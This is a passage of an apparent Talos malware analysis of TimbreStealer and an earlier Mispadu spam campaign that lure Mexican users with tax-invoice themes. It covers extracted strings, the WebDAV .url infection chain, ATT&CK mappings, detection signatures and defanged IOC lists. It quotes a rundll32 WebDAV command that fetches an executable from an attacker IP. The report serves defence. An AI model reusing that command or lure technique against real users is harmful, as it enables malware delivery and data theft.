  • Software\\Policies\\Google\\Chrome
  • Software\\Policies\\Google\\Update
  • history
  • feeds
  • feeds cache
  • internet explorer
  • media player
  • office
  • OneDrive
  • packages
  • Skydrive
  • Formhistory.sqlite
  • SELECT count(`place_id`) FROM `moz_historyvisits` WHERE `place_id` = %I64u;
  • SELECT `id`, `url`, `visit_count` FROM `moz_places` WHERE `last_visit_date`
  • Mozilla\\Firefox\\Profiles\\
  • Thunderbird\\Profiles\\
  • Postbox\\Profiles\\
  • PostboxApp\\Profiles\\
  • SOFTWARE\\Mozilla\\Mozilla Firefox
  • SOFTWARE\\Mozilla\\Mozilla Thunderbird
  • SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList

Search for Files

The malware also scans several directories looking for files although it’s not clear yet for what purpose. We can see in the list below folders related to AdwCleaner, Avast Scanner as well as 360 Antivirus quarantine folders. 

Another set of interesting strings in this list are “.Spotlight-V100” and “.fseventsd” which are related to MacOS.

  • $360Section
  • $AV_ASW
  • $GetCurrent
  • $Recycle.Bin
  • $SysReset
  • $WinREAgent
  • .fseventsd
  • .Spotlight-V100
  • AdwCleaner
  • AMD
  • Autodesk
  • boot
  • Brother
  • Config.Msi
  • Documents and Settings
  • EFI
  • Hewlett-Packard
  • inetpub
  • Intel
  • MSOCache
  • PerfLogs
  • Program Files
  • Program Files (x86)
  • ProgramData
  • Recovery
  • RecoveryImage
  • Resources
  • SWSetup
  • System Volume Information
  • SYSTEM.SAV
  • ~MSSETUP.T
  • $WINDOWS.
  • AutoKMS
  • KMSAuto
  • Users
  • AppData\\Local
  • AppData\\Roaming
  • Desktop
  • Documents
  • Downloads
  • OneDrive
  • Dropbox

Collect OS information

TimbreStealer uses the Windows Management Instrumentation (WMI) interface and registry keys to collect a wealth of information about the machine where it’s running.

  • OS Information: Description, IdentifyingNumber, Manufacturer, Name, Product, ReleaseDate, InstallDate, InstallTime
  • SMB BIOS information: SMBIOSBIOSVersion, SMBIOSMajorVersion, SMBIOSMinorVersion, SerialNumber, Vendor, Version
  • Hardware information: Win32_ComputerSystemProduct, Win32_BaseBoard, Win32_Bios, Win32_PhysicalMemory
  • Network Domain Information: StandaloneWorkstation, MemberWorkstation, StandaloneServer, MemberServer, BackupDomainController, PrimaryDomainController
  • Application information: DisplayName, Publisher, DisplayVersion, OSArchitecture

Search for file extensions

The code also looks for a specific list of file extensions. Note that the extension “.zuhpgmcf” below is not associated with any known file type. This may be indicative of a file that is created by the malware itself.

  • .bak, .fbk, .dat, .db, .cmp, .dbf, .fdb, .mdf, .txt, .cer, .ods, .xls, .xlsx, .xml, .zuhpgmcf

Look for URLs Accessed

The strings below represent URLs of interest to the malware. It also contains mentions of a virtual device used to capture network packets, which may be indicative that the malware can do network sniffing.

  • npf
  • npcap
  • npcap_wifi
  • www.google.com
  • amazon.com
  • dropbox.com
  • linkedin.com
  • twitter.com
  • wikipedia.org
  • facebook.com
  • login.live.com
  • apple.com
  • www.paypal.com

Disable System Protections

The malware executes calls to a function used to remove System Restore points on the machine. This is a typical behavior of Ransomware malware although Talos have not observed any Ransomware activity on infected victims. Additional analysis is still needed in order to confirm or discard this hypothesis. 

  • SELECT * FROM SystemRestore
  • SequenceNumber
  • SrClient.dll
  • SRRemoveRestorePoint
  • SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Power
  • HiberbootEnabled

Look for Remote Desktop Software

The malware attempts to access services and Mutex used by Remote Desktop servers. It’s not clear yet how this is used in the payload code.

  • console
  • TermService
  • Global\\TermSrvReadyEvent
  • winlogon.exe
  • console

POST data to remote site

A list of URLs along with strings used in HTTP communication was found in functions accessing the network. These URLs don’t conform to the format of other URLs used in the distribution of TimbreStealer. We believe these to be the command and control servers used by the malware, but so far, the samples we analyzed have not communicated back to any of them. 

  • POST
  • PUT
  • Content-Disposition: form-data; name="
  • "; filename="
  • "\\r\\nContent-Type: application/octet-stream\\r\\n
  • Content-Type: multipart/form-data; boundary=
  • Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
  • Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko
  • HTTP/1.1 200 OK\\r\\nDate: %s %s GMT\\r\\nConnection: Close\\r\\nAccess-Control-Allow-Origin: *\\r\\nAccess-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept\\r\\nContent-Type: text/plain;charset=UTF-8\\r\\n\\r\\n
  • https://hamster69[.]senac2021[.]org/~armadillo492370/
    https://snapdragon50[.]crimsondragonemperor[.]com
    /~aster963249/https://69[.]64[.]35[.]1/~route649289/

These strings are just a small piece of this puzzle, and more analysis is required on the final payload and its embedded modules to understand their exact purpose.

Previous Mispadu spam campaign

Activity associated with these current distribution campaigns was first observed in September 2023 when the threat group was distributing a variant of the Mispadu information stealer. This campaign was using compromised websites to distribute a Zip archive containing a “.url” file which used a WebDAV file path to execute an externally hosted file upon the victim double clicking on it. 

TimbreStealer campaign targets Mexican users with financial lures
Internet shortcut (.url) file used in the Mispadu campaign.

Both URLs are remote UNC paths and use a port specification of “@80” to force the connection to occur via WebDAV. This connection is performed by Rundll32.exe with the parameters shown in the example below:

  • rundll32.exe C:\Windows\system32\davclnt.dll,DavSetCookie 159[.]89[.]50[.]225@80 http://159[.]89[.]50[.]225/formato23/9577710738/1242144429.exe 

During the campaign, all WebDAV servers were geofenced to allow connections only from IP addresses located in Mexico.

The .url files were named in multiple ways but almost always contained “RFC,” a reference to the Registro Federal de Contribuyentes (Federal Taxpayers Registry), suggesting the lure was financially related. The .url file names also typically contained 6 random digits. 

The Mispadu payload contained a hardcoded C2 address which used HTTPS as communication protocol. We have seen a variety of C2 URLs, changing up over time but keeping a similar pattern pointing to “it.php” with two parameters “f” and “w”: 

  • hxxps://trilivok[.]com/2ysz0gghg/cbt0mer/it.php?f=2&w=Windows%2010 
  • hxxps://trilivok[.]com/3s9p2w9yy/bvhcc5x/it.php?f=9&w=Windows%2010
  • hxxps://chidoriland[.]com/1r49ucc73/hs4q07q/it.php?f=2&w=Windows%2010
  • hxxps://manderlyx[.]com/cruto/it.php?f=2&w=Windows%2010
  • hxxps://bailandolambada[.]com/5iplivg7q/gn4md5c/it.php?f=2&w=Windows%2010

We observed this campaign to be active until the middle of November, at which time a new payload with TimbreStealer was dropped on the victim's computers from the compromised website.

The target industries of this campaign is spread around different verticals with a slight focus on manufacturing and transportation as we can see below:

TimbreStealer campaign targets Mexican users with financial lures
Graph showing the most targeted industries in the Mispadu campaign.

Spam campaign using CDFI as lure

Talos detected a low-volume campaign using CDFI to lure users to download and execute a malicious file disguised as a PDF document starting around the middle of November and still ongoing as of February 2024. CDFI is a mandatory electronic invoice standard used in Mexico for purposes of Tax reporting. In this campaign, a spam email was used as the lure to redirect users to a malicious web page hosted on compromised websites.

TimbreStealer campaign targets Mexican users with financial lures
Example of a spam email distribution the new TimbreStealer malware

The Subjects we observed in this campaign follow the same theme:

  • Recibió un Comprobante Fiscal Digital (CFDI). Folio Fiscal: fcd7bf2f-e800-4ab3-b2b8-e47eb6bbff8c
  • Recibió una Factura. Folio Fiscal: 050e4105-799f-4d17-a55d-60d1f9275288

The website uses Javascript to detect characteristics of the user such as geolocation and browser type and then initiates the download of a Zip file containing a .url file, which in turn will download the initial TimbreStealer dropper using WebDAV. The Zip file is usually named following the same theme:

  • CFDI_930209.zip
  • FACTURA_560208.zip

In case the access does not come from Mexico, a blank PDF is served instead of the malicious payload.

TimbreStealer campaign targets Mexican users with financial lures
Message displayed after the user visits the site where the initial dropper malware is downloaded.

All the URLs for this current campaign follow a similar format:

  • hxxps://<some>.<compromised>[.]<web>/<token>/<14_char_hex_id>

Where <token> above is one of the following strings: “cfdi”, “factura”, “timbreDigital”,  “facdigital” or “seg_factura”. The first part of the domain is also a random Spanish word related to digital invoices followed by two numbers.

  • hxxps://pdf85[.]miramantolama[.]com/
    factura/74f871b7ca1977
  • hxxps://suscripcion24[.]facturasonlinemx[.]com/
    factura/d6a6f8208ed508
  • hxxps://suscripcion65[.]g1ooseradas[.]buzz/
    factura/9f03d9ef3d73b5
  • hxxps://timbrado11[.]verificatutramite[.]com/
    facdigital/f7640878ebc0f9

The .url file this time contains more obfuscation intended to make detection by Antivirus products more difficult, yet it still uses WebDAV via HTTP to download the malicious file and an icon representing a PDF file:

TimbreStealer campaign targets Mexican users with financial lures
Internet shortcut (.url) file used in the TimbreStealer campaign

User interaction is required to open the downloaded Zip file and double-click on the .url file for the malware to execute, at which point the TimbreStealer main infection will start.

ATT&CK TTPs Used in TimbreStealer Campaign

ATT&CK ID

Description

T1566.002

Spearphishing Link

T1566.001

Spearphishing Attachment

T1204.002

Malicious File

T1105

Ingress Tool Transfer

T1190

Exploit Public-Facing Application

T1071.001

Web Protocols

T1036.005

Masquerading: Match Legitimate Name or Location

T1483

Domain Generation Algorithms 

T1071

Application Layer Protocol

T1027.009

Obfuscated Files or Information: Embedded Payloads

T1027.010

Obfuscated Files or Information: Command Obfuscation

T1027.002

Obfuscated Files or Information: Software Packing

T1564.001

Hide Artifacts: Hidden Files and Directories

T1497.003

Virtualization/Sandbox Evasion: Time Based Evasion

T1497.001

Virtualization/Sandbox Evasion: System Checks

T1497.002

Virtualization/Sandbox Evasion: User Activity Based Checks

T1055.002

Process Injection: Portable Executable Injection

T1055.001

Process Injection: Dynamic-link Library Injection

T1055.012

Process Injection: Process Hollowing

T1140

Deobfuscate/Decode Files or Information

T1574.002

Hijack Execution Flow: DLL Side-Loading

T1082

System Information Discovery

T1486

Data Encrypted for Impact

T1070.001

Indicator Removal: Clear Windows Event Logs

T1012

Query Registry

T1140

Deobfuscate/Decode Files or Information

T1204

User Execution: Malicious File

T1053.003

Scheduled Task/Job: Cron

T1053.005

Scheduled Task/Job: Scheduled Task

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

T1112

Modify Registry

Coverage

Ways our customers can detect and block this threat are listed below.

TimbreStealer campaign targets Mexican users with financial lures

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.

Additional protections with context to your specific environment and threat data are available from the Firewall Management Center.

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network.

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.

The following Snort SIDs are applicable to this threat: 63057 - 63072 and 300840 - 300844.

The following ClamAV signatures have been released to detect malware artifacts related to this threat:

  • Win.Infostealer.TimbreStealer-10021027-0
  • Win.Infostealer.TimbreStealer-10021026-0
  • Win.Infostealer.Generic-10017202-0
  • Win.Packed.Generic-10019162-0
  • Win.Dropper.Generic-10017203-0

Indicators of Compromise

IOCs for this research can be found in our GitHub repository here.

Potential C2 URLs

hxxps://hamster69[.]senac2021[.]org/~armadillo492370/
hxxps://snapdragon50[.]crimsondragonemperor[.]com/~aster963249/
hxxps://69[.]64[.]35[.]1/~route649289/

IPs

24[.]199[.]98[.]128

159[.]89[.]50[.]225

104[.]131[.]169[.]252

104[.]131[.]67[.]109

137[.]184[.]108[.]25

137[.]184[.]115[.]230

138[.]197[.]34[.]162

142[.]93[.]50[.]216

143[.]244[.]144[.]166 

143[.]244[.]160[.]115

146[.]190[.]208[.]30

157[.]230[.]238[.]116

157[.]245[.]8[.]79

159[.]223[.]96[.]160

159[.]89[.]226[.]127

159[.]89[.]90[.]109

162[.]243[.]171[.]207

167[.]71[.]24[.]13

167[.]71[.]245[.]175

167[.]71[.]246[.]120

192[.]241[.]141[.]137

24[.]144[.]96[.]15

45[.]55[.]65[.]159

64[.]225[.]29[.]249

Drop Site URLs

hxxp://folio24[.]spacefordailyrituals[.]com/facdigital/55ae12184283dc

hxxp://folio47[.]marcialledo[.]com/seg_factura/e6bab6d032e282

hxxp://pdf43[.]marcialledo[.]com/factura/50e1e86db86ff2

hxxp://suscripcion95[.]servicioslomex[.]online/cfdi/0faa4a21fff2bb

hxxps://0[.]solucionegos[.]top/timbreDigital/e99522f778ea6a

hxxps://auditoria38[.]meinastrohoroskop[.]com/factura/b5b0c16b999573

hxxps://auditoria42[.]altavista100[.]com/factura/b20569ae393e7e

hxxps://auditoria67[.]mariageorgina[.]com/cfdi/bb743b25f5c526

hxxps://auditoria7[.]miramantolama[.]com/factura/d84d576baf1513

hxxps://auditoria82[.]taoshome4sale[.]com/seg_factura/efebfc104991d4

hxxps://auditoria84[.]meinastrohoroskop[.]com/timbreDigital/8f7b2f8304d08e

hxxps://auditoria88[.]mariageorgina[.]com/factura/3db4832ada4f80

hxxps://auditoria89[.]venagard[.]com/timbreDigital/f6a5f34123d980

hxxps://auditoria92[.]venagard[.]com/factura/2c6652a143f815

hxxps://auditoria93[.]serragrandreunion[.]com/timbreDigital/a2e79b61ac4635

hxxps://comprobante14[.]miramantolama[.]com/seg_factura/fb0b02b2d41b12

hxxps://comprobante2[.]marcialledo[.]com/factura/3ce069ac2b865e

hxxps://comprobante27[.]mariageorgina[.]com/timbreDigital/eada68119275aa

hxxps://comprobante27[.]serragrandreunion[.]com/facdigital/bca7513c9e00b9

hxxps://comprobante27[.]servicioslocomer[.]online/factura/2003b3fe7ae6f4

hxxps://comprobante45[.]altavista100[.]com/cfdi/d13011c95ba2b0

hxxps://comprobante51[.]meinastrohoroskop[.]com/facdigital/121c0388193ba5

hxxps://comprobante63[.]serragrandreunion[.]com/facdigital/3c45bca741d4f6

hxxps://comprobante68[.]portafoliocfdi[.]com/seg_factura/58c0146a753186

hxxps://comprobante70[.]miramantolama[.]com/timbreDigital/18665ae0a7b9e1

hxxps://comprobante75[.]meinastrohoroskop[.]com/timbreDigital/bfa30824f1120b

hxxps://comprobante80[.]serragrandreunion[.]com/timbreDigital/bf4a8735ed3953

hxxps://comprobante91[.]servicioslocomer[.]online/timbreDigital/adb6403b186182

hxxps://comprobante93[.]venagard[.]com/cfdi/57880f98ef2b70

hxxps://cumplimiento19[.]altavista100[.]com/timbreDigital/dd141e683a3056

hxxps://cumplimiento35[.]solucionegos[.]top/factura/bde64155cabbe5

hxxps://cumplimiento39[.]meinastrohoroskop[.]com/seg_factura/d4e9d7823adff2

hxxps://cumplimiento43[.]commerxion[.]buzz/facdigital/1ac5acb1a5525b

hxxps://cumplimiento47[.]solucionegos[.]top/seg_factura/7fa6018dc9b68f

hxxps://cumplimiento48[.]callarlene[.]net/seg_factura/c19a0dd4addc3e

hxxps://cumplimiento56[.]timbradoelectronico[.]com/facdigital/dd37434dcde7ad

hxxps://cumplimiento72[.]serragrandreunion[.]com/seg_factura/92cd2425a6c150

hxxps://cumplimiento81[.]paulfenelon[.]com/cfdi/20149ee8e1d3b2

hxxps://cumplimiento91[.]miramantolama[.]com/seg_factura/e907d32bf0d056

hxxps://cumplimiento94[.]meinastrohoroskop[.]com/cfdi/bd56529f9d1411

hxxps://cumplimiento98[.]serragrandreunion[.]com/factura/3f209bc16cbb9a

hxxps://factura10[.]miramantolama[.]com/factura/039d9cbaeec9b5

hxxps://factura20[.]facturascorporativas[.]com/seg_factura/9622cf8c695873

hxxps://factura20[.]solunline[.]top/cfdi/6401eac16211b2

hxxps://factura34[.]changjiangys[.]net/facdigital/52490c838bd94f

hxxps://factura4[.]servicioslocomer[.]online/cfdi/f2369d09a54ad9

hxxps://factura40[.]miramantolama[.]com/cfdi/9318466130e6af

hxxps://factura44[.]servicioslocales[.]online/cfdi/25e8a6f5393e1f

hxxps://factura46[.]facturasfiel[.]com/factura/021bd5fa122bb2

hxxps://factura49[.]marcialledo[.]com/factura/fc2cc5bf671dd0

hxxps://factura50[.]callarlene[.]net/cfdi/867d138f26fb23

hxxps://factura59[.]altavista100[.]com/seg_factura/0179ae05a51830

hxxps://factura7[.]taoshome4sale[.]com/factura/eebf49f810a0a6

hxxps://factura71[.]servicioslomex[.]online/timbreDigital/5de7db415c7e8e

hxxps://factura72[.]serragrandreunion[.]com/seg_factura/728423dceff50c

hxxps://factura73[.]mariageorgina[.]com/cfdi/71deea8cdbcb10

hxxps://factura81[.]altavista100[.]com/factura/8421cd5cb1c8e4

hxxps://factura90[.]changjiangys[.]net/timbreDigital/029a6531330379

hxxps://factura91[.]servicioslocomer[.]online/timbreDigital/2952b54a9542f1

hxxps://folio24[.]serragrandreunion[.]com/seg_factura/548b685f48dd30

hxxps://folio24[.]spacefordailyrituals[.]com/facdigital/55ae12184283dc

hxxps://folio47[.]marcialledo[.]com/seg_factura/e6bab6d032e282

hxxps://folio53[.]mariageorgina[.]com/seg_factura/ca2fd939c046fa

hxxps://folio60[.]callarlene[.]net/seg_factura/367b377baf47e5

hxxps://folio75[.]taoshome4sale[.]com/cfdi/7482bf3f2690af

hxxps://folio75[.]venagard[.]com/cfdi/7718efe0fd3952

hxxps://folio76[.]miramantolama[.]com/cfdi/a74b25b75c7182

hxxps://folio83[.]altavista100[.]com/factura/20f00b7d569c85

hxxps://folio89[.]changjiangys[.]net/factura/b645784e80f71a

hxxps://folio90[.]servicioslocomer[.]online/facdigital/d1950dc8f24757

hxxps://folio99[.]solunline[.]top/facdigital/b7928d4e0eade5

hxxps://pdf21[.]changjiangys[.]net/cfdi/2f99e7adf61c47

hxxps://pdf33[.]venagard[.]com/timbreDigital/91849e7d9fe4ad

hxxps://pdf34[.]solucionpiens[.]top/seg_factura/2dfed5bc7fcbf6

hxxps://pdf39[.]facturasonlinemx[.]com/seg_factura/66971f3669145a

hxxps://pdf49[.]marcialledo[.]com/factura/729c18972d690c

hxxps://pdf50[.]changjiangys[.]net/factura/cdb5ed3876c4bf

hxxps://pdf57[.]visual8298[.]top/factura/5239e15a8324ab

hxxps://pdf59[.]venagard[.]com/cfdi/5791bf23c6929e

hxxps://pdf63[.]paulfenelon[.]com/timbreDigital/3ae250718da0ca

hxxps://pdf65[.]verificatutramite[.]com/facdigital/e1ec8098e50a0b

hxxps://pdf70[.]mariageorgina[.]com/cfdi/fab1264f158f44

hxxps://pdf81[.]photographyride[.]com/seg_factura/4eb3832fe6d1bd

hxxps://pdf85[.]miramantolama[.]com/factura/74f871b7ca1977

hxxps://pdf93[.]venagard[.]com/factura/f24a53f8932b3f

hxxps://pdf98[.]solunline[.]top/timbreDigital/f57e558c31a86e

hxxps://portal27[.]marcialledo[.]com/timbreDigital/f8a5f05b3c1651

hxxps://portal34[.]solunline[.]top/cfdi/a068bb0da7eea1

hxxps://portal48[.]solucionpiens[.]top/timbreDigital/15ec5fc2aaf26a

hxxps://portal50[.]solucionegos[.]top/factura/8d4c6f7e2a4c7f

hxxps://portal55[.]solucionegos[.]top/seg_factura/f5f59070b20629

hxxps://portal63[.]paulfenelon[.]com/seg_factura/77907fa76c7c59

hxxps://portal70[.]solunline[.]top/timbreDigital/92b380d91a67a0

hxxps://portal80[.]changjiangys[.]net/cfdi/2224782a3b7f1d

hxxps://portal86[.]serragrandreunion[.]com/facdigital/68da4282591283

hxxps://portal90[.]meinastrohoroskop[.]com/factura/64f247c6238c38

hxxps://portal92[.]solucionpiens[.]top/timbreDigital/34893de446d532

hxxps://suscripcion0[.]venagard[.]com/timbreDigital/5c86c63ca1ffda

hxxps://suscripcion10[.]solunline[.]xyz/facdigital/ebe0cb51090e51

hxxps://suscripcion24[.]facturasonlinemx[.]com/factura/d6a6f8208ed508

hxxps://suscripcion24[.]venagard[.]com/timbreDigital/50c6f1fad17f5e

hxxps://suscripcion32[.]servicioslocomer[.]online/facdigital/22ccd8880c217e

hxxps://suscripcion38[.]eagleservice[.]buzz/cfdi/6dadfe1a18cffc

hxxps://suscripcion38[.]mariageorgina[.]com/factura/9c787623800b5e

hxxps://suscripcion57[.]changjiangys[.]net/factura/22ad73593f724a

hxxps://suscripcion65[.]g1ooseradas[.]buzz/factura/9f03d9ef3d73b5

hxxps://suscripcion84[.]taoshome4sale[.]com/cfdi/e4af3e6e22a8a6

hxxps://suscripcion95[.]servicioslomex[.]online/cfdi/0faa4a21fff2bb

hxxps://timbrado0[.]meinastrohoroskop[.]com/cfdi/515c9b9087c737

hxxps://timbrado11[.]verificatutramite[.]com/facdigital/f7640878ebc0f9

hxxps://timbrado16[.]taoshome4sale[.]com/timbreDigital/259029c9d7f330

hxxps://timbrado17[.]marcialledo[.]com/factura/2ea580ee99d5f1

hxxps://timbrado17[.]mariageorgina[.]com/seg_factura/95a6c2c0e004d8

hxxps://timbrado2[.]serviciosna[.]top/facdigital/c5cb33d68be323

hxxps://timbrado2[.]solucionegos[.]top/seg_factura/7c867709e85c67

hxxps://timbrado33[.]meinastrohoroskop[.]com/timbreDigital/aaf2cc575db42c

hxxps://timbrado42[.]mariageorgina[.]com/facdigital/f0f82ab0c87b32

hxxps://timbrado54[.]changjiangys[.]net/cfdi/04e4e38338d82a

hxxps://timbrado6[.]meinastrohoroskop[.]com/cfdi/5290b37e80850a

hxxps://timbrado73[.]mariageorgina[.]com/timbreDigital/ff862f9245e8b6

hxxps://timbrado74[.]callarlene[.]net/timbreDigital/eb52e334a2c0b3

hxxps://timbrado74[.]mexicofacturacion[.]com/factura/14fcb6e3eaf351

hxxps://timbrado80[.]paulfenelon[.]com/timbreDigital/684bc3f7d7e7f9

hxxps://timbrado84[.]miramantolama[.]com/cfdi/18864dcecc9e9c

hxxps://timbrado90[.]porcesososo[.]online/factura/cde31eb6fcac1d

hxxps://timbrado96[.]paulfenelon[.]com/facdigital/ef18828525a8fb

hxxps://validacion22[.]hb56[.]cc/seg_factura/8f845f6ba70820

hxxps://trilivok[.]com/2ysz0gghg/cbt0mer/it.php?f=2&w=Windows%2010 

hxxps://trilivok[.]com/3s9p2w9yy/bvhcc5x/it.php?f=9&w=Windows%2010

hxxps://chidoriland[.]com/1r49ucc73/hs4q07q/it.php?f=2&w=Windows%2010

hxxps://manderlyx[.]com/cruto/it.php?f=2&w=Windows%2010

hxxps://bailandolambada[.]com/5iplivg7q/gn4md5c/it.php?f=2&w=Windows%2010

Domains

trilivok[.]com

chidoriland[.]com

manderlyx[.]com

bailandolambada[.]com

0[.]solucionegos[.]top

auditoria38[.]meinastrohoroskop[.]com

auditoria42[.]altavista100[.]com

auditoria67[.]mariageorgina[.]com

auditoria7[.]miramantolama[.]com

auditoria82[.]taoshome4sale[.]com

auditoria84[.]meinastrohoroskop[.]com

auditoria88[.]mariageorgina[.]com

auditoria89[.]venagard[.]com

auditoria92[.]venagard[.]com

auditoria93[.]serragrandreunion[.]com

comprobante14[.]miramantolama[.]com

comprobante2[.]marcialledo[.]com

comprobante27[.]mariageorgina[.]com

comprobante27[.]serragrandreunion[.]com

comprobante27[.]servicioslocomer[.]online

comprobante45[.]altavista100[.]com

comprobante51[.]meinastrohoroskop[.]com

comprobante63[.]serragrandreunion[.]com

comprobante68[.]portafoliocfdi[.]com

comprobante70[.]miramantolama[.]com

comprobante75[.]meinastrohoroskop[.]com

comprobante80[.]serragrandreunion[.]com

comprobante91[.]servicioslocomer[.]online

comprobante93[.]venagard[.]com

cumplimiento19[.]altavista100[.]com

cumplimiento35[.]solucionegos[.]top

cumplimiento39[.]meinastrohoroskop[.]com

cumplimiento43[.]commerxion[.]buzz

cumplimiento47[.]solucionegos[.]top

cumplimiento48[.]callarlene[.]net

cumplimiento56[.]timbradoelectronico[.]com

cumplimiento72[.]serragrandreunion[.]com

cumplimiento81[.]paulfenelon[.]com

cumplimiento91[.]miramantolama[.]com

cumplimiento94[.]meinastrohoroskop[.]com

cumplimiento98[.]serragrandreunion[.]com

factura10[.]miramantolama[.]com

factura20[.]facturascorporativas[.]com

factura20[.]solunline[.]top

factura34[.]changjiangys[.]net

factura4[.]servicioslocomer[.]online

factura40[.]miramantolama[.]com

factura44[.]servicioslocales[.]online

factura46[.]facturasfiel[.]com

factura49[.]marcialledo[.]com

factura50[.]callarlene[.]net

factura59[.]altavista100[.]com

factura7[.]taoshome4sale[.]com

factura71[.]servicioslomex[.]online

factura72[.]serragrandreunion[.]com

factura73[.]mariageorgina[.]com

factura81[.]altavista100[.]com

factura90[.]changjiangys[.]net

factura91[.]servicioslocomer[.]online

folio24[.]serragrandreunion[.]com

folio24[.]spacefordailyrituals[.]com

folio47[.]marcialledo[.]com

folio53[.]mariageorgina[.]com

folio60[.]callarlene[.]net

folio75[.]taoshome4sale[.]com

folio75[.]venagard[.]com

folio76[.]miramantolama[.]com

folio83[.]altavista100[.]com

folio89[.]changjiangys[.]net

folio90[.]servicioslocomer[.]online

folio99[.]solunline[.]top

pdf21[.]changjiangys[.]net

pdf33[.]venagard[.]com

pdf34[.]solucionpiens[.]top

pdf39[.]facturasonlinemx[.]com

pdf43[.]marcialledo[.]com

pdf49[.]marcialledo[.]com

pdf50[.]changjiangys[.]net

pdf57[.]visual8298[.]top

pdf59[.]venagard[.]com

pdf63[.]paulfenelon[.]com

pdf65[.]verificatutramite[.]com

pdf70[.]mariageorgina[.]com

pdf81[.]photographyride[.]com

pdf85[.]miramantolama[.]com

pdf93[.]venagard[.]com

pdf98[.]solunline[.]top

portal27[.]marcialledo[.]com

portal34[.]solunline[.]top

portal48[.]solucionpiens[.]top

portal50[.]solucionegos[.]top

portal55[.]solucionegos[.]top

portal63[.]paulfenelon[.]com

portal70[.]solunline[.]top

portal80[.]changjiangys[.]net

portal86[.]serragrandreunion[.]com

portal90[.]meinastrohoroskop[.]com

portal92[.]solucionpiens[.]top

suscripcion0[.]venagard[.]com

suscripcion10[.]solunline[.]xyz

suscripcion24[.]facturasonlinemx[.]com

suscripcion24[.]venagard[.]com

suscripcion32[.]servicioslocomer[.]online

suscripcion38[.]eagleservice[.]buzz

suscripcion38[.]mariageorgina[.]com

suscripcion57[.]changjiangys[.]net

suscripcion65[.]g1ooseradas[.]buzz

suscripcion84[.]taoshome4sale[.]com

suscripcion95[.]servicioslomex[.]online

timbrado0[.]meinastrohoroskop[.]com

timbrado11[.]verificatutramite[.]com

timbrado16[.]taoshome4sale[.]com

timbrado17[.]marcialledo[.]com

timbrado17[.]mariageorgina[.]com

timbrado2[.]serviciosna[.]top

timbrado2[.]solucionegos[.]top

timbrado33[.]meinastrohoroskop[.]com

timbrado42[.]mariageorgina[.]com

timbrado54[.]changjiangys[.]net

timbrado6[.]meinastrohoroskop[.]com

timbrado73[.]mariageorgina[.]com

timbrado74[.]callarlene[.]net

timbrado74[.]mexicofacturacion[.]com

timbrado80[.]paulfenelon[.]com

timbrado84[.]miramantolama[.]com

timbrado90[.]porcesososo[.]online

timbrado96[.]paulfenelon[.]com

validacion22[.]hb56[.]cc

JavaScript Files

600d085638335542de1c06a012ec9d4c56ffe0373a5f61667158fc63894dde9f  (Downloader)

883674fa4c562f04685a2b733747e4070fe927e1db1443f9073f31dd0cb5e215  (Region check and redirect)

.URL Files

b1b85c821a7f3b5753becbbfa19d2e80e7dcbd5290d6d831fb07e91a21bdeaa7  CFDI_930209.zip

e04cee863791c26a275e0c06620ea7403c736f8cafbdda3417f854ae5d81a49f  FACTURA_560208.zip

aa187a53e55396238e97638032424d68ba2402259f2b308c9911777712b526af  FAC_560208_ATR890126GK2.url_

66af21ef63234c092441ec33351df0f829f08a2f48151557eb7a084c6275b791  FAC_930209_FME140910KI4.url_

Embedded Binaries

b3f4b207ee83b748f3ae83b90d1536f9c5321a84d9064dc9745683a93e5ec405  Cecujujajofubo475.dll_

e87325f4347f66b21b19cfb21c51fbf99ead6b63e1796fcb57cd2260bd720929  blob.dll_

103d3e03ce4295737ef9b2b9dfef425d93238a09b1eb738ac0e05da0c6c50028  blob.dll_

a579bd30e9ee7984489af95cffb2e8e6877873fd881aa18d7f5a2177d76f7bf2  blob.dll

b01e917dd14c780cb52cafcd14e4dd499c33822c7776d084d29cf5e0bb0bddb6  blob.dll_

795c0b82b37d339ea27014d73ad8f2d28c5066a7ceb6a2aa0d74188df9c311c9  blob.dll_

07521bd6acf725b8a33d1d91fd0cc7830d2cff66abdb24616c2076b63d3f36a8  blob.dll_

71ce48c89b22e99356c464c1541e2d7b9419a2c8fe8f6058914fc58703ba244f  blob.dll_

ba7bc4cff098f49d39e16c224e001bd40a5d08048aeec531f771a54ee4a5ecef  blob.dll_

Dropper Binaries

010b48762a033f91b32e315ebcefb8423d2b20019516fa8f2f3d54d57d221bdb

024f3c591d44499afb8f477865c557fc15164ab0f35594e0cfdfa76245459762

03cd17df83a7bdf459f16677560e69143d1788ce1fc7927200a09f82859d90ea

075910c802f755d3178a8f1f14ee4cd7924fd4463c7491277bdf2681b16e593c

12bff33da7d9807252bb461d65828154b9b5b1dca505e8173893e3d410d40dd0

1aaa4fb29a88c83495de80893cd2476484af561bb29e8cdfc73ce38f6cd61a84

23b9e4103141d6a898773b1342269334e569bcf576cdcb4a905f24e26320cdab

27c1e41fde9bc0d5027a48ccada1af8c9c8f59937bf5f77edd21e49bd28f29a2

2a225784289f31adbaa8be0b8770495fa8950fce2b7352a0c7a566fc79067547

2a38b75e88f91f9cd28ef478e82c3b44f50e57cb958ba63e58f134d8bd368812

2a3f869e9e78b4d7945a60ceec27586c07bc8b0770be64463358fffe3b6b7395

